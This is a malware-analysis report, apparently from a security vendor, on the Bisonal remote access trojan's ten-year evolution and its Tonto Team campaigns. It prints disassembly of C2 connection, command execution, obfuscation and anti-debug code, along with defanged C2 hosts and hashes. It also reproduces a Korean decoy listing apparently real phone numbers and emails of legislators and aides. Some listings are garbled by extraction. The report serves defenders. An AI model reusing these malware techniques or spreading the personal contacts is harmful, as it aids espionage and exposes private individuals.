Bisonal: 10 years of play

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Update 06/03/20: added samples from 2020.

Executive summary

- Security researchers detected and exposed the Bisonal malware over the past 10 years. But the Tonto team, the threat actor behind it, didn't stop.
- The victimology didn't change over time, either. Japanese, South Korean and Russian organizations were the prime targets for this threat actor.
- The malware evolved to lower its detection ratio and improve the initial vector success rate.

What's new?

Bisonal is a remote access trojan (RAT) that's part of the <u>Tonto Team</u> arsenal. The peculiarity of the RAT is that it's been in use for more than 10 years — this is an uncommon and long period for malware. Over the years, it has evolved and adapted mechanisms to avoid detection while keeping the core of its RAT the same. We identified specific functions here for more than six years.

How did it work?

Bisonal used multiple lure documents to entice their victims to open and then be infected with Bisonal malware. This group has continued its operations for over a decade and they continue to evolve their malware to avoid detection. Bisonal primarily used spear phishing to obtain a foothold within their victims' networks. Their campaigns had very specific targets which would suggest their end game was more around operational intelligence gathering and espionage.

So what?

This is an extremely experienced group likely to keep their activities even after exposure, even if we identified mistakes and bad copy/paste, they are doing this job for more than 10 years. We think that exposing this malware, explaining the behavior and the campaigns where Bisonal was used is important to protect the potential future targets. The targets to this point are located in the public and private sectors with a focus on Russia, Japan and South Korea. We recommend the entities located in this area to prepare for this malware and actor and implement detections based on the technical details provided in this article.

Victimology and campaigns

From our analysis and the intelligence shared by the community throughout the last decade of activities of Bisonal, we can conclude that the actor behind this malware is specifically targeted at the South East Asian region, namely Japan and Korea with another significant focus on Russian-speaking victims.



We identified a couple of decoy documents pointing to the victims. During the Heartbeat campaign documented in 2012 by <u>Trend Micro</u>, dating back to 2009, the attacker used Hangul Word Processor (HWP) decoy documents. This file format is mainly used in South Korea. The report mentioned political parties, media outfits, a national policy research institute, a military branch of South Korean armed forces, a small business sector organization and branches of the South Korean government. Later in 2018, <u>Unit 42</u> released a Bisonal paper where we can see a spear-phishing campaign in Russian and a decoy document alleged to be from Rostec, a Russian state-owned holding conglomerate headquartered in Moscow.





Finally, in 2018, Ahnlab released a <u>paper</u> about "Operation Bitter Biscuit" where Bisonal was used against Korean and Japanese entities. India is also mentioned, but it was by another malware named "Bioazih" by Ahnlab. In this paper, the editor mentions targets such as manufacturers, defense industry and government.

Additionally, we can provide additional decoy documents. For example, a Korean document used in September 2014 where the title was "Contact member and counselor of the Agriculture, Forestry, Livestock, Food and Marine Fisheries Committee:"

농림축산식품해양수산위원회 위원 및 보좌진 연락처

구분	위원명	일반 (784)	구내 (788)	FAX (788)	보	좌	진	이메일	호실
새정치 민주연합	◎김우남 010-3691-8070	1368	2725	3690	김영정(청) 김미나 김미나	010-31 010-32 010-41 010-94	169-7000 292-6284 135-1474 137-8762	김미숙 nina61@naver.com 김병찬 rla1342@nate.com 김형선 yesun1019@hanmail.net 박혜령 human8081@naver.com 이동주 djlee75@hanmail.net 이현정 aramal1031@jejunu.ac.kr 김미나 kimmina1989@nate.com	
	▲안효대 010-3834-9271	2371	2365	0254	전:20학자0학() 전:20학자0학()	010-89 010-29 010-92 010-38 010-52 010-64	943-1457 995-6451 267-2001 339-4035 203-1547 413-2770	대 표 ahd823@hanmail.net	823
	경 대 수 010-5351-4109	3977	2009	0110	김아가 장아가 가	010-50 010-65 010-41	005-3167 571-2587 138-9968	의원님 kyungds@na.go.kr 의원실 eskfo@nate.com 김종준 justice@na.go.kr 안중우 ajw2594@assembly.go.kr 조성재 bluyss@empal.com	941
	김 무 성 010-9038-5274	5274	2693	0316	권오훈	010-47	744-8811	moosung4u@naver.com resistx@nate.com	706
	김 종 태 010-3651-6363	3190	2149	0518	김·취이지 80년 11월 11월 11월 11월 11월 11월 11월 11월 11월 11월	010-21 010-47 010-20 010-44 010-87	20-2780 769-7450 075-0000 129-1101 793-5992	김홍태 hogtae0924@hanmail.net tiger@na.go.kr 정운기 jmg5812@hanmail.net 이경식 top777@na.go.kr 이현영 say0024@naver.com 김태현 nakth@na.go.kr 김용석 skql7121@naver.com	452
새	안 덕 수 010-5238-1269	9640	2490	0250	송기영입희영 이상상주	010-27 010-38 010-45 010-97	784-8898 399-1416 517-1105 727-6246	송기영 phisky@hanmail.net 이상업 950165@hanmail.net 박상희 77babsang@hanmail.net 이주영 k9346245@naver.com	341

Or a Russian document about the CIPR Digital conference used in April 2018. This is an application document that has been used to provide a decoy to the Bisonal malware. This conference has some high-ranking government and business attendees.

ИНДУСТРИЯ ПРОМЫШЛЕННОЙ	
РОССИИ	
0	ФОРМА ПОДАЧИ ЗАЯВКИ НА ВЫСТУПЛЕНИЕ
Инструкция п	ю оформлению заявки на выступление в рамках Конференции ЦИПР:
1. Необходим С 27 апреля 2 по личному п	ио заполнить регистрационную форму докладчика до 27 апреля 2018 года. 2018 года по 25 мая 2018 года стать докладчиком Конференции возможно только григлашению членов оргкомитета ЦИПР.
2. Необходим 15 дней. Посл о Вас появитс	ио получить одобрение темы модератором. Рассмотрение заявки занимает не боле ле чего Ваш доклад может быть включен в официальную программу, а информация ся в разделе <u>Участники</u> официального сайта конференции cipr.ru
3. Тема Вашс	его выступления должна соответствовать ключевым темам Конференции ЦИПР-201
Длительность	ь выступления – от 3 до 5 мин.
Длительность Если вы согл	ь выступления – от 3 до 5 мин. пасны с усповиями выше, просим Вас заполнить форму:
Длительность Если вы сого Фамилия	ь выступления – от 3 до 5 мин. ласны с условиями выше, просим Вас заполнить форму:
Длительность Если вы согр Фамилия Имя	ь выступления – от 3 до 5 мин. ласны с условиями выше, просим Вас заполнить форму:
Длительность Если вы сог Фамилия Имя Отчество	ь выступления – от 3 до 5 мин. ласны с условиями выше, просим Вас заполнить форму:
Длительность Если вы сог Фамилия Имя Отчество Должность	ь выступления – от 3 до 5 мин. пасны с условиями выше, просим Вас заполнить форму:
Длительность Если вы сог Фамилия Имя Отчество Должность Название орга	ь выступления – от 3 до 5 мин. ласны с условиями выше, просим Вас заполнить форму:

In 2019, a Russian RTF document — судалгаа.doc (research.doc) — was used with an exploit to drop the winhelp.wll file, which contains Bisonal.

д/д	Улс	TOO	Тайлбар
1.	Бангладеш		
2.	Бельги		
3.	Бенин		
4.	Бутан		
5.	Болив		
6.	Босни Герцоговин		
7.	Бразил		
8.	Буркина Фасо		
9.	Камерун		
10.	Канад		
11.	БНХАУ		
12.	Чех		
13.	Египет		
14.	Франц		
15.	Гана		
16.	Гуатимал		
17.	Энэтхэг		
18.	Индонез		
19.	Ирланд		

Last year, we also identified multiple Korean decoy documents using similar RTF exploits to deliver Bisonal, namely ☆2020년도 예산안 운영위 서면질의 답변서_발간(1).doc (State Council Candidate (Minister of Justice Chumiae) Personnel Hearing Execution Plan (1).doc) and 국무위원후보자(법무부장관 추미애) 인사청문회 실시계획서(1).doc (Written Inquiry from the 2020 Budget Operation Committee (Published) (1).doc) which are both alleged government documents.



Based on our research and the released paper mentioned above, the Bisonal malware is part of the Tonto Team arsenal. Tonto Team was mentioned in the <u>media</u> in 2017 as one of the actors who targeted South Korea, when the country announced it would deploy a Terminal High-Altitude Air Defense (THAAD) in response to North Korean missile tests. At this time, researchers connected the Tonto Team to China.

10 years of evolution

Introduction

The first variant of Bisonal publicly released went by the name of "HeartBeat." At the end of 2019, the actor changed their TTP and started using the Microsoft Office extension (.wll) to execute the Bisonal payload. Based on this recent change, we decided to dive into the 10 years of evolution of Bisonal. To do so, we analysed more than 50 different samples and focused on the changes that appear during the years of usage.

2010: the birth

The oldest version of Bisonal we identified was compiled on Dec. 24, 2010. This version is

the simplest we identified. The attacker created a Windows library (.dll) designed as a Windows service (ServiceMain() entry point). When executed, the malware uses the Windows API to communicate with the Service Control Manager (SCM) and finally execute a thread. This thread contains the code of the malware.

The C2 server of this first Bisonal variant is young03[.]myfw[.]us (port 8888). We can notice the usage of a dynamic DNS service. This is a Bisonal pattern. Even the newest version we identified used this kind of service. The domain name was not obfuscated:

```
lea
       eax, [esp+108h+cp]
push
                       ; int
       eax
       offset MultiByteStr ; "young03.myfw.us"
push
call
       GetHostByName API
       ecx, 1Fh
mov
       eax, eax
xor
       edi, [esp+110h+var 7F]
lea
       [esp+110h+var 80], 0
mov
rep stosd
stosw
       ecx, [esp+110h+var_80]
lea
       ecx
                        ; int
push
       offset a127001 ; "127.0.0.1"
push
stosb
       GetHostByName API
call
       esi, ds:inet_addr
mov
add
       esp, 10h
```

The IP address is a rollback if the first C2 server is down. In this campaign, the rollback was not used as it is configured to localhost. The communication to the C2 server is performed by using raw sockets:

; int Network(_cdec: Conne	l NetworkC ction proc	onnectio near	n(int,	struct	sock	addr	*name,	struct	sockaddr	*)
arg_0= 0 name= du arg_8= 0	dword word j dword	ptr 4 ptr 8 ptr 0Ch									
push mov push mov push mov push	ebx, ebp, ebp, esi, edi	ds:socket ds:connec ds:shutdo	t wn								
mov	eur,	43.010303	OCKEL								
			a a								
			loc 100	00D9C:							
			mov	eax,	[esp+10h	+name	e]				
			mov	ecx, d	ds:s		-				
			push	10h		;	name	len			
			push	eax		;	name				
			push	ecx		;	s				
			call	ebp ;	connect						
			test	eax, e	eax						
			jz	short	loc_100	00E2	8				
			push push call test jz	10h eax ecx ebp ; eax, e short	connect eax loc_100	; ; ;	name name s	len			

The first action of the malware is to send the hostname of the infected system and the "kris0315" string. The sent data is not encrypted or obfuscated. We assume the string is an identifier:

sub esp, lea eax, lea ecx, push eax push ecx mov [esp call ds:G test eax, jnz shor	68h [esp+68] +70h+nSi etCompute eax t loc_10	h+nSize] h+Buffer] ; nSize ; lpBuffer ze], 32h ; '2' erNameW 000AD3	
	📕 🖬 🖂		
add esp. 68h			
retn	loc 1000	00AD3:	
	push	esi	
	mov	esi, [esp+6Ch+De	est]
	lea	edx, [esp+6Ch+Bi	uffer1
	push	edi	
	push	edx	; Source
	push	esi	; Dest
	call	ds:wcscpy	·
	mov	edi, offset Sour	rce ; "kris0315"
	or	ecx, 0FFFFFFFFh	· ·
	xor	eax, eax	
	repne so	casb	
	not	ecx	
	push	ecx	; Count
	lea	eax, [esi+64h]	
	push	offset Source	; "kris0315"
	push	eax	; Dest
	call	ds:strncpy	
	add	esp, 14h	
	mov	dword ptr [esi+6	0E4h], 1328D5Fh
	mov	eax, 1	
	рор	edi	
	рор	esi	
	add	esp, 68h	
	retn		
	SetKris	endp	

The malware supports only three commands:

- Command execution: The execution is performed by the ShellExecuteW() API
- Listing the running processes
- Cleaning the malware: The malware first removes the registry key of the service and removes the library. As the library is currently running, the deletion cannot be performed immediately. The developer decided to use MoveFileEx() API with the MOVE_DELAY_UNTIL_REBOOT to remove the file at the reboot.

The malware contains the Bisonal string. It is interesting to notice the string is not used but is still visible:

Address	Length	Туре	String
.text:10000390	0000008	С	bisonal
's' .text:10000398	00000010	С	young03.myfw.us
's' .text:1000041C	A000000A	С	127.0.0.1
s' .text:100004A0	0000009	С	kris0315
s .text:10000578	000000E	С	SocketError:

The sample was used in the HeartBeat campaign mentioned above.

Sha256: ba0bcf05aaefa17fbf99b1b2fa924edbd761a20329c59fb73adbaae2a68d2307 C2 server: young03[.]myfw[.]us

2011: obfuscation my darling & more espionage capabilities

2011 March: commect()

We identified a sample from March 18, 2011. The sample is really similar to the variant from 2010. We can notice that the developers wanted to hide some API usage. They use the LoadLibrary() API followed by GetProcAdress(). But they obfuscated the function name strings by splitting it in two. Here is an example:

; CHAR LibFileN	lame[]
LibFileName	db 'Ws2_32.dll',0
	align 10h
Connect_Part1	dd 'mmoc'
Connect_Part2	dd 'tce'
	; CHAR LibFileN LibFileName Connect_Part1 Connect_Part2

Once the two strings are concatenated and with the little-endian, the string becomes "commect." After the malware replaces the "m" by "n:"

```
sub
        esp, 0Ch
        eax, Connect_Part1
mov
        ecx, Connect_Part2
mov
        dword ptr [esp+0Ch+ProcName],
mov
                                        eax
push
        esi
        al, 6Eh ; 'n'
mov
        offset LibFileName ; "Ws2 32.dll"
push
        [esp+14h+var 8], ecx
mov
        [esp+14h+var 4], 0
mov
        [esp+14h+ProcName+3], al
mov
        [esp+14h+ProcName+2], al
mov
        ds:LoadLibraryA
call
        edx, [esp+10h+ProcName]
lea
        esi, eax
mov
        edx
push
                           lpProcName
                           hModule
push
                         :
        esi
call
        ds:GetProcAddress
test
        eax, eax
        short loc_10000409
jz
```

They use this trick for a couple of other API such as CreateThread(), CreatePipe(), PeekNamedPipe(), CreateProcessA(), CreateToolhelp32Snapshot(), ReadFile(), WriteFile() and, finally, the string "cmd.exe."

The attacker also implemented a new order: execution of a command by using named pipe to get the output of the executed command. The attackers execute cmd.exe, followed by the command to be executed. An interesting point is the adding of a charset on each executed command:

	•						
🗾 🚄 🖼							
mov	eax, [esp+690h+hFile]						
lea	edx, [esp+690h+NumberOfBytesWritten]						
push	0 ; lpOverlapped						
push	edx ; lpNumberOfBytesWritten						
push	<pre>ØAh ; nNumberOfBytesToWrite</pre>						
push	offset aChcp1251 ; "CHCP 1251\n"						
push	eax ; hFile						
mov	[esp+6A4h+var_670], 1						
call	ds:WriteFile						

This charset is designed to cover languages that use Cyrillic script such as Russian, Bulgarian and Serbian. This hardcoded string could be an indicator concerning the targets of this malware.

sha256 : bb61cc261508d36d97d589d8eb48aaba10f5707d223ab5d5e34d98947c2f72af C2 server: kissyou01[.]myfw[.]us

2011 September: The big changes

The developer decided to remove the MFC library and put almost all the code in a unique function. The number of functions is divided by three. Here is the main thread graph flow:



Additionally, the string such as the domain names of the URLs is encoded by using the XOR algorithm (0x1f for example). The network communication is also obfuscated with a XOR (0x28).

On the version, the attacker supports the proxy server. It was a limitation of the previous variants. If the target would have a proxy, the malware would not be able to communicate outside. The attacker retrieves the proxy configuration in the registry:

	· · · · · · · · · · · · · · · · · · ·
loc_7100	0159C:
mov	edx, [esp+0E4h+phkResult]
mov	ebx, ds:RegQueryValueExA
lea	eax, [esp+0E4h+cbData]
lea	ecx, [esp+0E4h+Type]
push	eax ; lpcbData
push	0 ; lpData
push	ecx ; lpType
push	0 ; lpReserved
push	offset ValueName ; "ProxyServer"
push	edx ; hKey
call	ebx ; RegQueryValueExA
mov	eax, [esp+0E4h+cbData]
push	eax ; unsigned int
call	<pre>??2@YAPAXI@Z ; operator new(uint)</pre>
mov	ecx, [esp+0E8h+cbData]
mov	esi, eax
mov	edx, ecx
xor	eax, eax
mov	edi, esi
add	esp, 4
shr	ecx, 2
rep stos	sd
mov	ecx, edx
and	ecx, 3
rep stos	sb
mov	edx, [esp+0E4h+phkResult]
lea	eax, [esp+0E4h+cbData]
push	eax ; lpcbData
lea	ecx, [esp+0E8h+Type]
push	esi ; lpData
push	ecx ; lpType
push	0 ; lpReserved
push	offset ValueName ; "ProxyServer"
push	edx ; hKey
call	ebx ; RegQueryValueExA
test	eax, eax
jz	short loc_7100160B

The network communication is divided in two parts. The first part uses the Microsoft Windows Wininet library. The purpose is to send reconnaissance information to the attackers. The data is sent to the server via InternetOpenA() and InternetOpenURLA(). The C2 server of the analysed sample is hxxp://fund[.]cmc[.]or[.]kr/UploadFile/fame/x/o0.asp. The malware sent to the operator the following information: the campaign ID (named Flag by the developer), the hostname of the compromised system, the IP address, the OS version, the proxy server of the system and if the system is running on VMware. To get this information, the attacker the <u>VMXh-Magic-Value (0x0a)</u>. The second part of the communication is dedicated to the orders and the exfiltration. This part is similar to the previous samples: raw sockets usage.

The features of the malware are the same as previously with new capabilities such as file creation and removal.

The author removed the malware cleaning feature and implements two others features: the developer adds PostThreadMessageW() to send message inside the thread and in the previous version the developer used TerminalProcess() API to stop the process executed via the named pipes, in the version the developer append the "exit\r\b" string to the executed command in order to exit properly:

701	eax,	Car
repne	scasb	
mov	edx,	[esp+1C98h+hWritePipe]
not	ecx	
dec	ecx	
push	ecx	; nNumberOfBytesToWrite
lea	ecx,	[esp+1C9Ch+Str1]
push	ecx	; lpBuffer
push	edx	; hFile
call	ds:Wr	riteFile
push	1F4h	; dwMilliseconds
call	ebp ;	; Sleep
mov	esi,	offset aExit ; "exit\r\n"
lea	eax,	[esp+1C90h+Str1]

Another interesting change is the fact they don't use CHCP command anymore to force the charset but use code page. You can see in the screenshot 0x4E3 (1251 - Cyrillic Russian) and 0x362 (866 - DOS Cyrillic Russian):



Sha256: 43606116e03672d5c2bca7d072caa573d3fc2463795427d6f5abfa25403bd280 C2 for the orders: dnsdns1[.]PassAs[.]us C2 URL for reconnaissance: hxxp://fund[.]cmc[.]or[.]kr/UploadFile/fame/x/o0.asp

2011 October: oops where is my cleaning function?

In October 2011, the attacker re-implements the cleaning function.

```
📕 🚅 🔛
loc_7100229C:
                         ; hSCObject
push
        esi
mov
        esi, ds:CloseServiceHandle
call
        esi ; CloseServiceHandle
push
        edi
                         ; hSCObject
call
        esi ; CloseServiceHandle
mov
        ecx, 7
mov
        esi, offset aCWindowsSystem ; "c:\\windows\\system32\\rudll.dll"
lea
        edi, [ebp+ExistingFileName]
rep movsd
movsw
mov
        ecx, 39h ; '9'
xor
        eax, eax
        edi, [ebp+var_106]
lea
rep stosd
stosw
push
        4
                         ; dwFlags
                         ; lpNewFileName
push
        0
lea
        eax, [ebp+ExistingFileName]
push
                         ; lpExistingFileName
        eax
call
        ds:MoveFileExA
mov
        eax, 1
        ecx, [ebp+ms_exc.registration.Next]
mov
        large fs:0, ecx
mov
pop
        edi
        esi
pop
        ebx
pop
        esp, ebp
mov
pop
        ebp
retn
; } // starts at 710021B0
MalwareCleaning endp
```

In this implementation, the developer first uses the Windows service management API in order to remove the service (instead of removing directly the registry key as he did previously) and, finally, remove the file with the same API as previously (MoveFileExA()).

Sha256:43459f5117bee7b49f2cee7ce934471e01fb2aa2856f230943460e14e19183a6 C2 for the orders: jennifer998[.]lookin[.]at C2 for rollback: 196[.]44[.]49[.]154 C2 URL for reconnaissance: hxxp://fund[.]cmc[.]or[.]kr/UploadFile/fame/x/o0.asp

2011 December: Not a service anymore

The new variant from December 2011 is not a service anymore but a simple library (.dll). The

library is executed via a launcher (conime.exe) and the persistence mechanism is not a service anymore but a registry key (CurrentVersion\\Run\\task).

The malware is lighter than the previous version but includes more espionage features such as file exfiltration, file listing, driver listing, process-killing, file removing. The other features are the same as previously.

It is interesting to note that the obfuscated reconnaissance is still hard-coded in the binary but it is not used anymore. The code used for the reconnaissance was removed but the developer forgot the IP variable.

Sha256: 915ad316cfd48755a9e429dd5aacbee266aca9c454e9cf9507c81b30cc4222e5 C2 for the orders: v3net[.]rr[.]nu C2 for rollback: faceto[.]UglyAs[.]com C2 URL for reconnaissance: hxxp://fund[.]cmc[.]or[.]kr/UploadFile/fame/x/mh/o.asp

Hardcoded identifiers

In this version, we identify hard coded identifiers. We assume these IDs are campaign or target ID. Here is a list of IDs:

- 1031
- jp0201
- jp-serv
- mhi
- m1213
- classnk
- 95mhi
- nscsvc

In the next version, a campaign ID will be also used. The ID we believe is in reference to Japan targets. We believe these targets to sit within both the public and private sectors and they are specifically targeted to further enhance the attacker's capabilities through espionage.

2012: File format year

February: Let's hide my code in an almost legit library

In February 2012, the developer tried to hide the malicious code in the middle of a legit library. The malicious library was named msacm32.dll and contains the same exports as a

legit library from Microsoft Windows named msacm.dll. Here is the export of the malicious library with the same name than the real one:

🛃 XRegThunkEntry	100023D0	1
📝 acmDriverAddA	100023E0	2
🛃 acmDriverAddW	100023F0	3
🛃 acmDriverClose	10002400	4
🛃 acmDriverDetailsA	10002410	5
📝 acmDriverDetailsW	10002420	6
🛃 acmDriverEnum	10002430	7
📝 acmDriverID	10002440	8
📝 acmDriverMessage	10002450	9
📝 acmDriverOpen	10002460	10
📝 acmDriverPriority	10002470	11
📝 acmDriverRemove	10002480	12
📝 acmFilterChooseA	10002490	13
📝 acmFilterChooseW	100024A0	14
📝 acmFilterDetailsA	100024B0	15
📝 acmFilterDetailsW	100024C0	16
📝 acmFilterEnumA	100024D0	17
📝 acmFilterEnumW	100024E0	18
📝 acmFilterTagDetailsA	100024F0	19
📝 acmFilterTagDetailsW	10002500	20
📝 acmFilterTagEnumA	10002510	21
📝 acmFilterTagEnumW	10002520	22
📝 acmFormatChooseA	10002530	23
📝 acmFormatChooseW	10002540	24
📝 acmFormatDetailsA	10002550	25
📝 acmFormatDetailsW	10002560	26
📝 acmFormatEnumA	10002570	27
📝 acmFormatEnumW	10002580	28
📝 acmFormatSuggest	10002590	29
📝 acmFormatTagDetailsA	100025A0	30
📝 acmFormatTagDetailsW	100025B0	31

As previously the hard-coded C2 for reconnaissance variable is here. Without being used.

Sha256: 6f8bbea18965b21dc8b9163a5d5205e2c5e84d6a4f8629b06abe73b11a809cca C2 for the orders: since[.]qpoe[.]com C2 for rollback: applejp[.]myfw[.]us C2 URL for reconnaissance: hxxp://fund[.]cmc[.]or[.]kr/UploadFile/fame/x/o0.asp

2012 May & December: I miss services

In May and December 2012, the developers modified the .dll to come back to a Windows

service.

As previously described, the hardcoded C2 for reconnaissance variable is here. Without being used.

Sha256: b75c986cf63e0b5c201da228675da4eff53c701746853dfba6747bd287bdbb1d C2 for the orders: since[.]qpoe[.]com C2 for rollback: 69[.]197[.]149[.]98 C2 URL for reconnaissance: hxxp://fund[.]cmc[.]or[.]kr/UploadFile/fame/x/o0.asp

Sha256: 979d4e6665ddd4c515f916ad9e9efd9eca7550290507848c52cf824dfbd72a7e C2 for the orders: usababa[.]myfw[.]us C2 for rollback: indbaba[.]myfw[.]us C2 URL for reconnaissance: hxxp://indbabababa[.]dns94[.]com/o.asp

2012 October: Standalone PE

In October 2012, the attackers used an .exe. The attacker chose a standalone PE.

As previously the hard coded C2 for reconnaissance variable is here. without being used.

Sha256: 6f4a1b423c3936969717b1cfb25437ae8d779c095f158e3fded94aba6b6171ad C2 for the orders: mycount[.]MrsLove[.]com C2 for rollback: mycount[.]MrsLove[.]com C2 URL for reconnaissance: hxxp://fund[.]cmc[.]or[.]kr/UploadFile/fame/x/o0.asp

2013: RIP

We did not identify any Bisonal samples used in 2013. The first explanation could be that it was used so much that it stays under our radar. The second explanation could be a publication from <u>Trend Micro</u> on January 3, 2013. In the publication, the editor described a campaign where Bisonal was used. Maybe the actor decided to stop using Bisonal?

2014: The rebirth

Packer

For the first time, the Bisonal developers decided to use a packer: MPRESS. The Bisonal string also disappears from the binary however the workflow of the malware stays the same and some features are copy/pasted from the previous Bisonal variant.

The domain and the port number are obfuscated but it is not a simple XOR anymore. The developers implemented its own byte manipulation algorithm. The developer also implemented an obfuscation concerning OS detection. The OS version string is not stored as a string anymore but as bytes:

🔛 🚅 🖂			🖬 🚅 🖂				
			mov	[esp+50Ch+\	var_474],	37h ;	'7'
loc_4024CC:			jmp	loc_40262F			
mov [esp+50Ch+v	/ar_474], 56h	ı; '∀'					
mov [esp+50Ch+v	/ar_472], 69h	ı; 'i'					
mov [esp+50Ch+v	/ar_470], 73h	1; 's'					
mov [esp+50Ch+v	/ar_46E], 74h	ı; 't'					
mov [esp+50Ch+v	/ar_46C], 61h	n; 'a'					
jmp loc_40262F							

It is interesting to note that a few samples from 2014 do not use the obfuscation described above.

Malware core

The developer rewrote a large part of the code however the workflow is the same as previously and some features are copy/paste. The binary is compiled with the MFC framework.

The biggest change is the network communication with the C2 server. The malware does not use a raw socket anymore but all the communications are performed with WinInet. The malware performs connection to the C2 server by using InternetOpenA() with an hardcoded User-Agent: "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322". Note the missing parenthesis at the end of the User-Agent. This typo will be there till today.



This variant has exactly the same features as the previous variant: file listing, OS version getting, process killing, drive listing, execution via ShellExecuteW(), execution via named pipe, cleaning, file removal, file downloading.

Here is an example of code similarities on the execution via named pipe function. On the left a sample from Bisonal 2014 and on the right Bisonal 2011. The code is not exactly the same but the workflow and some constants are similar.



Hard-coded Identifiers & URL pattern

In this new version, we identify three hard-coded identifiers:

- Campaign ID: an ID put in the exfiltrated data with the hostname and the OS version. We assume this ID is used to identify the campaign and the target by the operator;
- Malware ID: used to generate the first "word" of the URL. We assume this ID is used to identify the malware version (from a network protocol point of view);
- Third ID: used to generate the end "word" of the URL. It generally looks like a file name.

The URL pattern is the following: hxxp://C2_domain:PORT/MalwareIDVictimIPThirdID

SHA256: c6baef8fe63e673f1bd509a0f695c3b5b02ff7cfe897900e7167ebab66f304ca C2 URL: hxxp://www[.]hosting[.]tempors[.]com:443/av9d0.0.0.0akspbv.txt

2016: More packers

In 2016, the developer implemented a new way of packing Bisonal. An initial static analysis immediately shows an executable with very little information. IDA Pro only shows five functions and almost no imports.

📝 Functions window 🛛 🖉	X IN MAN	A 🖸	E Hex New-1		Shutters	E truns		70	Inports	٠	œ i
Function name	Address	Ordinal	Name				Library				
🗾 start	1004430AD		Sleep				kernel32				
🗾 nullsub_1	004430C8	3733	CWinApp:GetRun	timeClass(voi	d)		MFC42u				
1 sub_4089C9	1004430D8 million		_controlfp				MSVCRT				
✓ nullsub_2	1004430FB		Islconic				USER32				
1 sub_4088C6	0044311B		RegDeleteValueW				ADVAPI3	Z			
f sub_408C42	00443141		HttpOpenRequest	tA			WININET				
	00443167	57	gethostname				WS2_32				

Looking at the few functions available it becomes clear the packer uses several anti-analysis tricks. In the unpacking stage, the malware has a lot of useless jumps and calls which makes the code tracking in the debugger harder.



After the unpacking is done the malware continued to use several anti-analysis measures. There are almost no direct calls to functions. It is common during the unpacking process to find useless code, like sequences of one instruction followed by a jump or increments in register values almost immediately followed by decrements. The initial unpacking is based on the manipulation of the return addresses pushed in the stack and the ordering of the data within the .text section. A second stage will allocate memory and unpack code into it, which finally will unpack code into a section that is originally empty called .textbss. This is where the core of the malware will be.

All API calls are made through a dispatcher function. Which is not called directly either, before this function is called it goes through a series of jumps and the stack is filled with encoded offset values.

The call of the jump table entry:



Push parameter for dispatch function into the stack:



Push all general-purpose registers into the stack:



Before calling the actual dispatch function, all registers are saved to the stack, by doing this

the offset value is no longer on the top of the stack so the malware needs to put it back on the top of the stack.

\$-24	032 AE8D11EF	
\$-20	032 00CC0008	
\$-1C	032 00000000	
\$-18	032 032FFB80	
\$-14	032 032FF718	
\$-10	032 00cc000c	
\$-C	032 00000000	
\$-8	032 00000000	
\$-4	032 032FFB68	
\$ ==>	032 AE8D11EF	
\$+4	032 00401650	return to 15d_sample.00401650 free contents

At this time and just before the argument in the stack we also have the return address, inside the core of the malware. The dispatcher function will push the desired API function address into the stack. Afterward, it will do the same for the general-purpose registers.

🕷 15d_sample.exe - PID: CB0 - Thread: 840 - x32dbg [Elevated]	– 🗆 X
Ele View Debug Trace Plugins Favourites Options Help Apr 29 2019	
🗀 🥲 🔳 🌩 🖩 🍷 🐼 🛬 🎍 🛊 ৈ 📓 🥖 🥪 🦑 🏂 🗱 📓 🖉	
🜃 CPU 👰 Graph 📝 Log 🛐 Notes 🔹 Breakpoints 🛲 Memory Map 📋 Call Stack 🖷 SEH 👩 Script 🍳 Symbols 🗘 Source	🖉 🖉 References 🛬 Threafs 🕨
• 0211283c 60 push dword ptr sst[esp+20] Hide FPU • 0211284c • 61 • • • • • • • • • • • • • • • • • • •	iendReques Tro
02112847 5: [esp+14] 032FF868	
Bar Bar <td>.7230E200 to 15d_sample.00401650 from 54.41.53* ~</td>	.7230E200 to 15d_sample.00401650 from 54.41.53* ~
Command:	Default •
Prused INT3 breakpoint at 021128461	Time Wasted Debugging: 0:01:46:53

After calling the dispatcher function the malware will first restore the generic purpose registers from the stack, thus leaving the API function address at the top of the stack. Logically, after the ret instruction is executed the code will jump into the API function.

This mechanism allows the malware to execute API functions without ever using the Call instruction, making it difficult to perform the analysis. The other side effect is that even after the code is unpacked if the analyst tries to dump it and analyze it statically, it will be hard for the disassembler to understand the code.



The dispatcher function has other tricks up its sleeve. Every time it is called it will use the anti-debug GetTickCount() to check if it is being debugged. If there is a discrepancy in the timing it will terminate the process. The termination can be as simple as a call to ExitProcess(), or it will first resume a thread that will display a message to the user. So that it ensures the thread has a chance to run, it will return the API call sleep() no matter what was originally requested. Once sleep() is executed, the error message thread will have a chance to be executed and will terminate the process.

From the functionality point of view, there aren't many differences between the 2014 versions. Always using three hard-coded identifiers mentioned previously but with different values.

SHA256: 15d5c84db1fc7e13c03ff1c103f652fbced5d1831c4d98aad8694c08817044cc C2 URL: hxxp://emsit[.]serveirc[.]com/ks8d0.0.0.0akspbu.txt

2018: I miss you

During 2018, the attackers used a mix of samples using the MFC framework or the Visual C libraries. The registry key used for the persistence is now named "mismyou".

In September 2018, the developer made a mistake. Normally on this variant of Bisonal the domain names are encoded. However, the developer forgot to obfuscate the strings and put them in clear text into the variables but the deobfuscation function is still executed:

```
🖬 🖬 🔤
loc 40140A:
                         ; hKey
        [ebp+phkResult]
push
call
        ds:RegCloseKey
push
        1Eh
        offset a21kmgMyHomeipN ; "21kmg.my-homeip.net"
push
lea
        eax, [ebp+var_8]
push
        4
push
        eax
        [ebp+var_8], 12345678h
mov
        DeObfuscation
call
push
        1Eh
        offset Source ; "21kmg.my-homeip.net"
push
lea
        eax, [ebp+var_8]
push
        4
push
        eax
call
        DeObfuscation
sub
        nServerPort, 0Ah
push
        ebx
                         ; Time
call
        ds:time
```

The mistake has for effect to destroy the domain and generate garbage strings. The malware will try to perfect connection to this bad domain (hxxp://硟满v鏡緲赥e ?r雀溝1kdi 簽:70/ks8d0.0.0.0akspbu.txt). You can see here a screenshot of the debugger trying to perform a connect on it:

CPU	Graph	🔁 Log	🖹 Notes 🔹 Breakpoints 📟	Memory Map 📑 Call Stack 🖷 SEH 厕	Script 🌒 Symbols 🛛 Source 🔎 Referen
_		00401588	8808	nov ebx, eax	
		0040158D	38.06	cmp ebx,esi	
	:	0040158F	8950 FC	mov dword ptr ssi esp-4, ebx	
		00401598	8065 A8 00	and byte ptr ss: ebp-581.0	
		0040159c	6A 07	push 7	
		0040159E	59	pop ecx	
	:	0040159F	33CU 8070 49	lea edi duord ate ssi cho-57	
		004015A4	3975 08	cmp dword ptr ss: ebp+8, esi	
		004015A7	F3:A5	rep stosd	
		004015A9	AA 75 07	stosb	
